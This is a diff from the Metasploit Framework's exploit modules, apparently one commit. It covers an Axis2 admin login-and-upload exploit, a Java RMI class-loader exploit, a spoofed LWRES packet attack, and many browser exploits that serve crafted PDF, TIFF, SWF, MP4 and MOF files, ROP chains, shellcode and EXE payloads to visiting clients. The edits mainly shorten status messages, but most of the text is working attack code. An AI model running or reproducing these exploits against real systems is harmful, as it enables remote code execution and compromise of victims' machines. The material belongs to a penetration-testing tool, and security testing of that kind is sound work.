def cleanup_instructions(rpath, name)
|
||||
print_line("")
|
||||
print_status("NOTE: You will need to delete the web service that was uploaded.")
|
||||
print_line("")
|
||||
print_status("Using meterpreter:")
|
||||
print_status("rm \"webapps#{rpath}/WEB-INF/services/#{name}.jar\"")
|
||||
print_line("")
|
||||
print_status("Using the shell:")
|
||||
print_status("cd \"webapps#{rpath}/WEB-INF/services\"")
|
||||
print_status("del #{name}.jar")
|
||||
print_line("")
|
||||
end
|
||||
|
||||
def exploit
|
||||
def exploit
|
||||
user = datastore['USERNAME']
|
||||
pass = datastore['PASSWORD']
|
||||
rpath = datastore['PATH']
|
||||
# ensure rpath has an initial /
|
||||
if not rpath =~ /^\//
|
||||
rpath = '/' + rpath
|
||||
end
|
||||
|
||||
success = false
|
||||
srvhdr = '?'
|
||||
begin
|
||||
res = send_request_cgi(
|
||||
{
|
||||
'method' => 'POST',
|
||||
'uri' => "/#{rpath}/axis2-admin/login",
|
||||
'uri' => "#{rpath}/axis2-admin/login",
|
||||
'ctype' => 'application/x-www-form-urlencoded',
|
||||
'data' => "userName=#{user}&password=#{pass}&submit=+Login+",
|
||||
}, 25)
|
||||
|
||||
if not (res.kind_of? Rex::Proto::Http::Response)
|
||||
print_error("http://#{rhost}:#{rport}/#{rpath}/axis2-admin not responding")
|
||||
end
|
||||
|
||||
if res.code == 404
|
||||
print_error("http://#{rhost}:#{rport}/#{rpath}/axis2-admin returned code 404")
|
||||
end
|
||||
|
||||
srvhdr = res.headers['Server']
|
||||
if res.code == 200
|
||||
# Could go with res.headers["Server"] =~ /Apache-Coyote/i
|
||||
# as well but that seems like an element someone's more
|
||||
# likely to change
|
||||
|
||||
success = true if(res.body.scan(/Welcome to Axis2 Web/i).size == 1)
|
||||
if (res.headers['Set-Cookie'] =~ /JSESSIONID=(.*);/)
|
||||
session = $1
|
||||
if not (res.kind_of? Rex::Proto::Http::Response)
|
||||
print_error("http://#{rhost}:#{rport}#{rpath}/axis2-admin not responding")
|
||||
end
|
||||
|
||||
if res.code == 404
|
||||
print_error("http://#{rhost}:#{rport}#{rpath}/axis2-admin returned code 404")
|
||||
end
|
||||
|
||||
srvhdr = res.headers['Server']
|
||||
if res.code == 200
|
||||
# Could go with res.headers["Server"] =~ /Apache-Coyote/i
|
||||
# as well but that seems like an element someone's more
|
||||
# likely to change
|
||||
|
||||
success = true if(res.body.scan(/Welcome to Axis2 Web/i).size == 1)
|
||||
if (res.headers['Set-Cookie'] =~ /JSESSIONID=(.*);/)
|
||||
session = $1
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
rescue ::Rex::ConnectionError
|
||||
print_error("http://#{rhost}:#{rport}/#{rpath}/axis2-admin Unable to attempt authentication")
|
||||
print_error("http://#{rhost}:#{rport}#{rpath}/axis2-admin Unable to attempt authentication")
|
||||
end
|
||||
|
||||
|
||||
if not success and rpath != '/dswsbobje'
|
||||
if not success and not rpath =~ /dswsbobje/
|
||||
rpath = '/dswsbobje'
|
||||
begin
|
||||
res = send_request_cgi(
|
||||
{
|
||||
'method' => 'POST',
|
||||
'uri' => "/#{rpath}/axis2-admin/login",
|
||||
'ctype' => 'application/x-www-form-urlencoded',
|
||||
'data' => "userName=#{user}&password=#{pass}&submit=+Login+",
|
||||
'uri' => "#{rpath}/axis2-admin/login",
|
||||
'ctype' => 'application/x-www-form-urlencoded',
|
||||
'data' => "userName=#{user}&password=#{pass}&submit=+Login+",
|
||||
}, 25)
|
||||
|
||||
if not (res.kind_of? Rex::Proto::Http::Response)
|
||||
print_error("http://#{rhost}:#{rport}/#{rpath}/axis2-admin not responding")
|
||||
print_error("http://#{rhost}:#{rport}#{rpath}/axis2-admin not responding")
|
||||
end
|
||||
|
||||
if res.code == 404
|
||||
print_error("http://#{rhost}:#{rport}/#{rpath}/axis2-admin returned code 404")
|
||||
print_error("http://#{rhost}:#{rport}#{rpath}/axis2-admin returned code 404")
|
||||
end
|
||||
|
||||
srvhdr = res.headers['Server']
|
||||
@@ -300,16 +333,16 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
end
|
||||
|
||||
rescue ::Rex::ConnectionError
|
||||
print_error("http://#{rhost}:#{rport}/#{rpath}/axis2-admin Unable to attempt authentication")
|
||||
print_error("http://#{rhost}:#{rport}#{rpath}/axis2-admin Unable to attempt authentication")
|
||||
end
|
||||
end
|
||||
|
||||
if success
|
||||
print_good("http://#{rhost}:#{rport}/#{rpath}/axis2-admin [#{srvhdr}] [Axis2 Web Admin Module] successful login '#{user}' : '#{pass}'")
|
||||
print_good("http://#{rhost}:#{rport}#{rpath}/axis2-admin [#{srvhdr}] [Axis2 Web Admin Module] successful login '#{user}' : '#{pass}'")
|
||||
upload_exec(session,rpath)
|
||||
else
|
||||
print_error("http://#{rhost}:#{rport}/#{rpath}/axis2-admin [#{srvhdr}] [Axis2 Web Admin Module] failed to login as '#{user}'")
|
||||
print_error("http://#{rhost}:#{rport}#{rpath}/axis2-admin [#{srvhdr}] [Axis2 Web Admin Module] failed to login as '#{user}'")
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
@@ -40,6 +40,8 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
[
|
||||
# RMI protocol specification
|
||||
[ 'URL', 'http://download.oracle.com/javase/1.3/docs/guide/rmi/spec/rmi-protocol.html'],
|
||||
# Placeholder reference for matching
|
||||
[ 'MSF', 'java_rmi_server']
|
||||
],
|
||||
'DisclosureDate' => 'Oct 15 2011',
|
||||
'Platform' => ['java', 'win', 'osx', 'linux', 'solaris'],
|
||||
@@ -79,9 +81,12 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
}
|
||||
]
|
||||
],
|
||||
'DefaultTarget' => 1
|
||||
'DefaultTarget' => 0
|
||||
))
|
||||
register_options( [ Opt::RPORT(1099) ], self.class)
|
||||
|
||||
register_autofilter_ports([ 1098, 1099 ])
|
||||
register_autofilter_services(%W{ rmi rmid java-rmi rmiregistry })
|
||||
end
|
||||
|
||||
def exploit
|
||||
@@ -101,12 +106,28 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
packet[idx, find_me.length] = len + new_url
|
||||
|
||||
# write out minimal header and packet
|
||||
print_status("Sending request for #{new_url}")
|
||||
print_status("Connected and sending request for #{new_url}")
|
||||
#sock.put("JRMI" + [2].pack("n") + "K" + [0].pack("n") + [0].pack("N") + packet);
|
||||
sock.put("JRMI" + [2,0x4b,0,0].pack("nCnN") + packet);
|
||||
sock.put("JRMI" + [2,0x4b,0,0].pack("nCnN") + packet)
|
||||
|
||||
# wait for the request to be handled
|
||||
while not session_created?
|
||||
buf = ""
|
||||
1.upto(6) do
|
||||
res = sock.get_once(-1, 5) rescue nil
|
||||
break if not res
|
||||
break if session_created?
|
||||
buf << res
|
||||
end
|
||||
|
||||
if buf =~ /RMI class loader disabled/
|
||||
print_error("Not exploitable: the RMI class loader is disabled")
|
||||
return
|
||||
end
|
||||
|
||||
print_good("Target #{rhost}:#{rport} may be exploitable...")
|
||||
|
||||
# Wait for the request to be handled
|
||||
1.upto(120) do
|
||||
break if session_created?
|
||||
select(nil, nil, nil, 0.25)
|
||||
handler()
|
||||
end
|
||||
@@ -130,7 +151,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
'Pragma' => 'no-cache'
|
||||
})
|
||||
|
||||
print_status("Replied to Request for Payload JAR")
|
||||
print_status("Replied to request for payload JAR")
|
||||
end
|
||||
end
|
||||
|
||||
@@ -148,4 +169,8 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
"\x69\x64\x75\x6d\x6d\x79\x2e\x6a\x61\x72\x78\x70\x77\x01\x00\x0a"
|
||||
end
|
||||
|
||||
def autofilter
|
||||
return true
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
@@ -208,7 +208,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
|
||||
shost = datastore['SHOST']
|
||||
if (shost)
|
||||
print_status("Sending malformed LWRES packet to #{rhost} (spoofed from #{shost})")
|
||||
print_status("Sending malformed LWRES packet (spoofed from #{shost})")
|
||||
open_pcap
|
||||
|
||||
p = PacketFu::UDPPacket.new
|
||||
@@ -229,7 +229,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
|
||||
handler
|
||||
else
|
||||
print_status("Sending malformed LWRES packet to #{rhost} every #{datastore['DELAY']} seconds.")
|
||||
print_status("Sending malformed LWRES packet every #{datastore['DELAY']} seconds.")
|
||||
|
||||
handler
|
||||
|
||||
|
||||
@@ -83,7 +83,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
# Grab reference to the target
|
||||
t = target
|
||||
|
||||
print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")
|
||||
print_status("Sending exploit")
|
||||
|
||||
# Transmit the compressed response to the client
|
||||
send_response(cli, generate_tiff(p, t), { 'Content-Type' => 'image/tiff' })
|
||||
|
||||
@@ -150,7 +150,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
|
||||
# remove the extra tabs
|
||||
html = html.gsub(/^\t\t/, '')
|
||||
print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")
|
||||
print_status("Sending #{self.name}")
|
||||
send_response_html(cli, html, { 'Content-Type' => 'text/html' })
|
||||
|
||||
# handle the payload
|
||||
|
||||
@@ -69,7 +69,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
# Grab reference to the target
|
||||
t = target
|
||||
|
||||
print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")
|
||||
print_status("Sending #{self.name}")
|
||||
|
||||
# Transmit the compressed response to the client
|
||||
send_response(cli, generate_tiff(p, t), { 'Content-Type' => 'image/tiff' })
|
||||
|
||||
@@ -140,10 +140,10 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
}
|
||||
|
||||
if request.uri =~ /\.sucatalog$/
|
||||
print_status("Sending initial distribution package to #{cli.peerhost}:#{cli.peerport}")
|
||||
print_status("Sending initial distribution package")
|
||||
body = generate_catalog(server)
|
||||
elsif request.uri =~ /\.dist$/
|
||||
print_status("Sending distribution script to #{cli.peerhost}:#{cli.peerport}")
|
||||
print_status("Sending distribution script")
|
||||
return if ((p = regenerate_payload(cli)) == nil)
|
||||
body = generate_dist(p.encoded)
|
||||
else
|
||||
|
||||
@@ -79,7 +79,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
def on_request_uri(cli, request)
|
||||
print_user_agent(cli, request)
|
||||
|
||||
print_status("#{cli.peerhost}:#{cli.peerport} Sending crafted PDF")
|
||||
print_status("Sending crafted PDF")
|
||||
|
||||
ttf_data = make_ttf()
|
||||
|
||||
@@ -98,7 +98,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
return unless cli && cli.peerhost
|
||||
return unless req && req.headers
|
||||
return unless ua = req.headers["User-Agent"]
|
||||
print_status "#{cli.peerhost}:#{cli.peerport} Request from browser: #{ua}"
|
||||
print_status "Request from browser: #{ua}"
|
||||
end
|
||||
|
||||
def make_ttf
|
||||
|
||||
@@ -147,7 +147,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
# Both ROP chains generated by mona.py - See corelan.be
|
||||
case t['Rop']
|
||||
when :msvcrt
|
||||
print_status("#{cli.peerhost.ljust(16)} #{self.shortname} Using msvcrt ROP")
|
||||
print_status("Using msvcrt ROP")
|
||||
exec_size = code.length
|
||||
rop =
|
||||
[
|
||||
@@ -172,7 +172,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
].pack("V*")
|
||||
|
||||
when :jre
|
||||
print_status("#{cli.peerhost.ljust(16)} #{self.shortname} Using JRE ROP")
|
||||
print_status("Using JRE ROP")
|
||||
exec_size = 0xffffffff - code.length + 1
|
||||
rop =
|
||||
[
|
||||
@@ -246,23 +246,23 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
|
||||
# Avoid the attack if the victim doesn't have the same setup we're targeting
|
||||
if my_target.nil?
|
||||
print_error("#{cli.peerhost.ljust(16)} #{self.shortname} Browser not supported: #{agent}")
|
||||
print_error("Browser not supported: #{agent}")
|
||||
send_not_found(cli)
|
||||
return
|
||||
end
|
||||
|
||||
print_status("#{cli.peerhost.ljust(16)} #{self.shortname} Client requesting: #{request.uri}")
|
||||
print_status("Client requesting: #{request.uri}")
|
||||
|
||||
# The SWF requests our MP4 trigger
|
||||
if request.uri =~ /\.mp4$/
|
||||
print_status("#{cli.peerhost.ljust(16)} #{self.shortname} Sending MP4...")
|
||||
print_status("Sending MP4...")
|
||||
mp4 = create_mp4(my_target)
|
||||
send_response(cli, mp4, {'Content-Type'=>'video/mp4'})
|
||||
return
|
||||
end
|
||||
|
||||
if request.uri =~ /\.swf$/
|
||||
print_status("#{cli.peerhost.ljust(16)} #{self.shortname} Sending Exploit SWF")
|
||||
print_status("Sending Exploit SWF")
|
||||
send_response(cli, @swf, { 'Content-Type' => 'application/x-shockwave-flash' })
|
||||
return
|
||||
end
|
||||
@@ -326,7 +326,7 @@ pluginspage="http://www.macromedia.com/go/getflashplayer">
|
||||
|
||||
html = html.gsub(/^\t\t/, '')
|
||||
|
||||
print_status("#{cli.peerhost.ljust(16)} #{self.shortname} Sending html")
|
||||
print_status("Sending html")
|
||||
send_response(cli, html, {'Content-Type'=>'text/html'})
|
||||
end
|
||||
|
||||
|
||||
@@ -88,21 +88,21 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
|
||||
# Avoid the attack if the victim doesn't have the same setup we're targeting
|
||||
if my_target.nil?
|
||||
print_error("#{cli.peerhost}:#{cli.peerport} - Browser not supported: #{agent.to_s}")
|
||||
print_error("Browser not supported: #{agent.to_s}")
|
||||
send_not_found(cli)
|
||||
return
|
||||
end
|
||||
|
||||
# The SWF requests our MP4 trigger
|
||||
if request.uri =~ /\.mp4$/
|
||||
print_status("#{cli.peerhost}:#{cli.peerport} - Sending MP4")
|
||||
print_status("Sending MP4")
|
||||
send_response(cli, @mp4, {'Content-Type'=>'video/mp4'})
|
||||
return
|
||||
end
|
||||
|
||||
# The SWF request itself
|
||||
if request.uri =~ /\.swf$/
|
||||
print_status("#{cli.peerhost}:#{cli.peerport} - Sending SWF")
|
||||
print_status("Sending SWF")
|
||||
send_response(cli, @swf, {'Content-Type'=>'application/x-shockwave-flash'})
|
||||
return
|
||||
end
|
||||
@@ -166,7 +166,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
|
||||
html = html.gsub(/^\t\t/, '')
|
||||
|
||||
print_status("Sending html to #{cli.peerhost}:#{cli.peerport}...")
|
||||
print_status("Sending HTML")
|
||||
send_response(cli, html, {'Content-Type'=>'text/html'})
|
||||
end
|
||||
|
||||
|
||||
@@ -123,7 +123,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
</html>
|
||||
EOS
|
||||
|
||||
print_status("Sending #{self.name} HTML to #{cli.peerhost}:#{cli.peerport}")
|
||||
print_status("Sending #{self.name} HTML")
|
||||
send_response(cli, html, { 'Content-Type' => 'text/html' })
|
||||
end
|
||||
end
|
||||
|
||||
@@ -165,8 +165,8 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
if my_target.name =~ /Automatic/
|
||||
my_target = get_target(request)
|
||||
if my_target.nil?
|
||||
print_error("Sending 404 for unknown user-agent")
|
||||
send_not_found(cli)
|
||||
print_error("#{cli.peerhost}:#{cli.peerport} Unknown user-agent")
|
||||
return
|
||||
end
|
||||
vprint_status("Target selected: #{my_target.name}")
|
||||
@@ -176,7 +176,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
|
||||
if request.uri =~ /\.swf$/
|
||||
#Browser requests our trigger file, why not
|
||||
print_status("Sending trigger SWF to #{cli.peerhost}:#{cli.peerport}...")
|
||||
print_status("Sending trigger SWF...")
|
||||
send_response(cli, @trigger, {'Content-Type'=>'application/x-shockwave-flash'} )
|
||||
return
|
||||
end
|
||||
@@ -291,7 +291,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
|
||||
html = html.gsub(/^\t\t/, "")
|
||||
|
||||
print_status("Sending HTML to #{cli.peerhost}:#{cli.peerport}...")
|
||||
print_status("Sending HTML to...")
|
||||
send_response(cli, html, {'Content-Type' => "text/html"} )
|
||||
end
|
||||
end
|
||||
|
||||
@@ -86,7 +86,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
|
||||
def on_request_uri(cli, request)
|
||||
|
||||
print_status("Sending crafted PDF w/SWF to #{cli.peerhost}:#{cli.peerport}")
|
||||
print_status("Sending crafted PDF w/SWF")
|
||||
|
||||
js_data = make_js(regenerate_payload(cli).encoded)
|
||||
pdf_data = make_pdf(@swf_data, js_data)
|
||||
|
||||
@@ -112,7 +112,7 @@ for(i = 0; i < 128; i++) { memory[i]= #{rand2} + #{rand1}; }
|
||||
# Create the pdf
|
||||
pdf = make_pdf(script)
|
||||
|
||||
print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")
|
||||
print_status("Sending #{self.name}")
|
||||
|
||||
send_response(cli, pdf, { 'Content-Type' => 'application/pdf' })
|
||||
|
||||
|
||||
@@ -122,7 +122,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
# Create the pdf
|
||||
pdf = make_pdf(script)
|
||||
|
||||
print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")
|
||||
print_status("Sending #{self.name}")
|
||||
|
||||
send_response(cli, pdf, { 'Content-Type' => 'application/pdf' })
|
||||
|
||||
|
||||
@@ -133,7 +133,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
# Create the pdf
|
||||
pdf = make_pdf(script, jbig2stream)
|
||||
|
||||
print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")
|
||||
print_status("Sending #{self.name}")
|
||||
|
||||
send_response(cli, pdf, { 'Content-Type' => 'application/pdf', 'Content-Disposition' => 'Attachment' }) #
|
||||
|
||||
|
||||
@@ -136,7 +136,7 @@ util.printd(#{rand3}, new Date());
|
||||
# Create the pdf
|
||||
pdf = make_pdf(script)
|
||||
|
||||
print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")
|
||||
print_status("Sending #{self.name}")
|
||||
|
||||
send_response(cli, pdf, { 'Content-Type' => 'application/pdf' })
|
||||
|
||||
|
||||
@@ -123,10 +123,10 @@ EOS
|
||||
# Transmit the response to the client
|
||||
path = request.uri
|
||||
if (path =~ /\.DIR/i)
|
||||
print_status("Sending exploit DIR to #{cli.peerhost}:#{cli.peerport}...")
|
||||
print_status("Sending exploit DIR")
|
||||
send_response(cli, @dir_data, { 'Content-Type' => 'application/octet-stream' })
|
||||
else
|
||||
print_status("Sending exploit HTML to #{cli.peerhost}:#{cli.peerport}...")
|
||||
print_status("Sending HTML")
|
||||
send_response_html(cli, content)
|
||||
end
|
||||
|
||||
|
||||
@@ -101,7 +101,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
# Create the pdf
|
||||
pdf = make_pdf(script)
|
||||
|
||||
print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")
|
||||
print_status("Sending #{self.name}")
|
||||
|
||||
send_response(cli, pdf, { 'Content-Type' => 'application/pdf' })
|
||||
|
||||
|
||||
@@ -83,7 +83,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
# Build the HTML content
|
||||
content = "<html><iframe src='aim:goaway?message=#{msg}'></html>"
|
||||
|
||||
print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")
|
||||
print_status("Sending #{self.name}")
|
||||
|
||||
# Transmit the response to the client
|
||||
send_response_html(cli, content)
|
||||
|
||||
@@ -74,7 +74,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
sploit += make_nops(970 - payload.encoded.length)
|
||||
sploit += "\">pwned!</bdo>"
|
||||
|
||||
print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")
|
||||
print_status("Sending #{self.name}")
|
||||
|
||||
# Transmit the response to the client
|
||||
send_response_html(cli, sploit)
|
||||
|
||||
@@ -121,7 +121,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
</html>
|
||||
|
|
||||
|
||||
print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")
|
||||
print_status("Sending #{self.name}")
|
||||
|
||||
# Transmit the response to the client
|
||||
send_response_html(cli, content)
|
||||
|
||||
@@ -70,7 +70,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
if (request.uri.match(/PAYLOAD/))
|
||||
return if ((p = regenerate_payload(cli)) == nil)
|
||||
data = generate_payload_exe({ :code => p.encoded })
|
||||
print_status("Sending EXE payload to #{cli.peerhost}:#{cli.peerport}...")
|
||||
print_status("Sending EXE payload")
|
||||
send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })
|
||||
return
|
||||
end
|
||||
@@ -91,7 +91,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
</html>
|
||||
|
|
||||
|
||||
print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")
|
||||
print_status("Sending exploit...")
|
||||
|
||||
send_response_html(cli, content)
|
||||
|
||||
|
||||
@@ -70,7 +70,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
content = "[playlist]\r\n" + "NumberOfEntries=#{cruft}\r\n"
|
||||
content << "File#{cruft}=http://#{sploit}"
|
||||
|
||||
print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")
|
||||
print_status("Sending #{self.name}")
|
||||
|
||||
# Transmit the response to the client
|
||||
send_response_html(cli, content, { 'Content-Type' => 'text/html' })
|
||||
|
||||
@@ -96,7 +96,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
|
||||
return if ((p = regenerate_payload(client)) == nil)
|
||||
|
||||
print_status("#{client.peerhost.ljust(16)} #{self.shortname} Sending exploit HTML...")
|
||||
print_status("Sending exploit HTML...")
|
||||
|
||||
shellcode = Rex::Text.to_unescape(p.encoded)
|
||||
|
||||
|
||||
@@ -95,10 +95,10 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
sploit << [target.ret].pack('V') + [0xe8, -485].pack('CV')
|
||||
|
||||
if (request['User-Agent'] =~ /QuickTime/i or request.uri =~ /\.qtl$/)
|
||||
print_status("#{client.peerhost.ljust(16)} #{self.shortname} Sending exploit QTL file (target: #{target.name})")
|
||||
print_status("Sending exploit QTL file (target: #{target.name})")
|
||||
content = build_qtl(sploit)
|
||||
else
|
||||
print_status("#{client.peerhost.ljust(16)} #{self.shortname} Sending init HTML")
|
||||
print_status("Sending init HTML")
|
||||
|
||||
shellcode = Rex::Text.to_unescape(p.encoded)
|
||||
url = ((datastore['SSL']) ? "https://" : "http://")
|
||||
|
||||
@@ -78,7 +78,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
return if ((p = regenerate_payload(client)) == nil)
|
||||
|
||||
if (request['User-Agent'] =~ /QuickTime/i or request.uri =~ /\.smil$/)
|
||||
print_status("#{client.peerhost.ljust(16)} #{self.shortname} Sending exploit SMIL (target: #{target.name})")
|
||||
print_status("Sending exploit SMIL (target: #{target.name})")
|
||||
|
||||
# This is all basically filler on the browser target because we can't
|
||||
# expect the SEH to be in a reliable place across multiple browsers.
|
||||
@@ -118,7 +118,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
send_response(client, smil, { 'Content-Type' => "application/smil" })
|
||||
|
||||
else
|
||||
print_status("#{client.peerhost.ljust(16)} #{self.shortname} Sending init HTML")
|
||||
print_status("Sending initial HTML")
|
||||
|
||||
shellcode = Rex::Text.to_unescape(p.encoded)
|
||||
url = ((datastore['SSL']) ? "https://" : "http://")
|
||||
|
||||
@@ -86,7 +86,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
</html>
|
||||
|
|
||||
|
||||
print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")
|
||||
print_status("Sending #{self.name}")
|
||||
|
||||
# Transmit the response to the client
|
||||
send_response_html(cli, content)
|
||||
|
||||
@@ -76,7 +76,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
my_target = get_target(agent)
|
||||
|
||||
if my_target.nil?
|
||||
print_error("Browser not supported: #{agent.to_s}: #{cli.peerhost}:#{cli.peerport}")
|
||||
print_error("Browser not supported: #{agent.to_s}")
|
||||
send_not_found(cli)
|
||||
return
|
||||
end
|
||||
@@ -152,7 +152,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
|
||||
html = html.gsub(/\t\t/, '')
|
||||
|
||||
print_status("Sending html to #{cli.peerhost}:#{cli.peerport}...")
|
||||
print_status("Sending HTML")
|
||||
send_response(cli, html, {'Content-Type'=>'text/html'})
|
||||
|
||||
end
|
||||
|
||||
@@ -113,7 +113,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
</html>
|
||||
|
|
||||
|
||||
print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")
|
||||
print_status("Sending #{self.name}")
|
||||
|
||||
# Transmit the response to the client
|
||||
send_response_html(cli, content)
|
||||
|
||||
@@ -132,7 +132,7 @@ function #{j_function}() {
|
||||
</html>
|
||||
|
|
||||
|
||||
print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")
|
||||
print_status("Sending #{self.name}")
|
||||
|
||||
# Transmit the response to the client
|
||||
send_response_html(cli, content)
|
||||
|
||||
@@ -153,7 +153,7 @@ for (#{j_counter} = 0; #{j_counter} < 22; #{j_counter}++)
|
||||
</script>
|
||||
</html>|
|
||||
|
||||
print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")
|
||||
print_status("Sending #{self.name}")
|
||||
|
||||
# Transmit the response to the client
|
||||
send_response_html(cli, content)
|
||||
|
||||
@@ -132,7 +132,7 @@ setTimeout('window.location = "#{get_resource}";', 500);
|
||||
</html>
|
||||
|
|
||||
|
||||
print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")
|
||||
print_status("Sending #{self.name}")
|
||||
|
||||
# Transmit the response to the client
|
||||
send_response(cli, html, { 'Content-Type' => 'text/html' })
|
||||
|
||||
@@ -64,7 +64,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
if (request.uri.match(/payload/))
|
||||
return if ((p = regenerate_payload(cli)) == nil)
|
||||
data = generate_payload_exe({ :code => p.encoded })
|
||||
print_status("Sending EXE payload to #{cli.peerhost}:#{cli.peerport}...")
|
||||
print_status("Sending EXE payload")
|
||||
send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })
|
||||
|
||||
# Handle the payload
|
||||
@@ -82,7 +82,7 @@ codebase='http://www.awingsoft.com/zips/WindsPly.CAB'>
|
||||
</object>
|
||||
|
|
||||
|
||||
print_status("Sending #{self.name} HTML to #{cli.peerhost}:#{cli.peerport}...")
|
||||
print_status("Sending #{self.name} HTML")
|
||||
# Transmit the compressed response to the client
|
||||
send_response(cli, html, { 'Content-Type' => 'text/html' })
|
||||
|
||||
|
||||
@@ -119,7 +119,7 @@ vulnerable.OnBeforeVideoDownload(evil_string);
|
||||
</html>
|
||||
|
|
||||
|
||||
print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")
|
||||
print_status("Sending #{self.name}")
|
||||
|
||||
# Transmit the response to the client
|
||||
send_response_html(cli, content)
|
||||
|
||||
@@ -79,7 +79,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
</html>
|
||||
|
|
||||
|
||||
print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")
|
||||
print_status("Sending #{self.name}")
|
||||
|
||||
# Transmit the response to the client
|
||||
send_response_html(cli, content)
|
||||
|
||||
@@ -85,14 +85,14 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
def on_request_uri(cli, request)
|
||||
|
||||
if request.uri.match(/\.EXE/)
|
||||
print_status("#{cli.peerhost.ljust(16)} #{self.shortname} Sending EXE payload...")
|
||||
print_status("Sending EXE payload...")
|
||||
send_response(cli, @payload, { 'Content-Type' => 'application/octet-stream' })
|
||||
return
|
||||
elsif request.uri.match(/\.MOF/)
|
||||
return if @mof_name == nil or @payload_name == nil
|
||||
print_status("#{cli.peerhost.ljust(16)} #{self.shortname} Generating mof")
|
||||
print_status("Generating mof")
|
||||
mof = generate_mof(@mof_name, @payload_name)
|
||||
print_status("#{cli.peerhost.ljust(16)} #{self.shortname} Sending MOF...")
|
||||
print_status("Sending MOF")
|
||||
send_response(cli, mof, {'Content-Type'=>'application/octet-stream'})
|
||||
return
|
||||
end
|
||||
@@ -137,7 +137,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
#Clear the extra tabs
|
||||
content = content.gsub(/^\t\t/, '')
|
||||
|
||||
print_status("#{cli.peerhost.ljust(16)} #{self.shortname} Sending exploit HTML")
|
||||
print_status("Sending exploit HTML")
|
||||
send_response_html(cli, content)
|
||||
handler(cli)
|
||||
|
||||
|
||||
@@ -69,7 +69,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
# "File Session" is used when the ActiveX tries to request the EXE
|
||||
agent = request.headers['User-Agent']
|
||||
if agent !~ /MSIE \d\.\d|File Session/
|
||||
print_error("Target not supported: #{cli.peerhost}:#{cli.peerport} (#{agent})")
|
||||
print_error("Target not supported: #{agent}")
|
||||
return
|
||||
end
|
||||
|
||||
@@ -80,7 +80,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
if (request.uri.match(/#{@payload_rand}/))
|
||||
return if ((p = regenerate_payload(cli)) == nil)
|
||||
data = generate_payload_exe({ :code => p.encoded })
|
||||
print_status("Sending EXE payload to #{cli.peerhost}:#{cli.peerport}...")
|
||||
print_status("Sending EXE payload")
|
||||
send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })
|
||||
return
|
||||
end
|
||||
@@ -106,7 +106,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
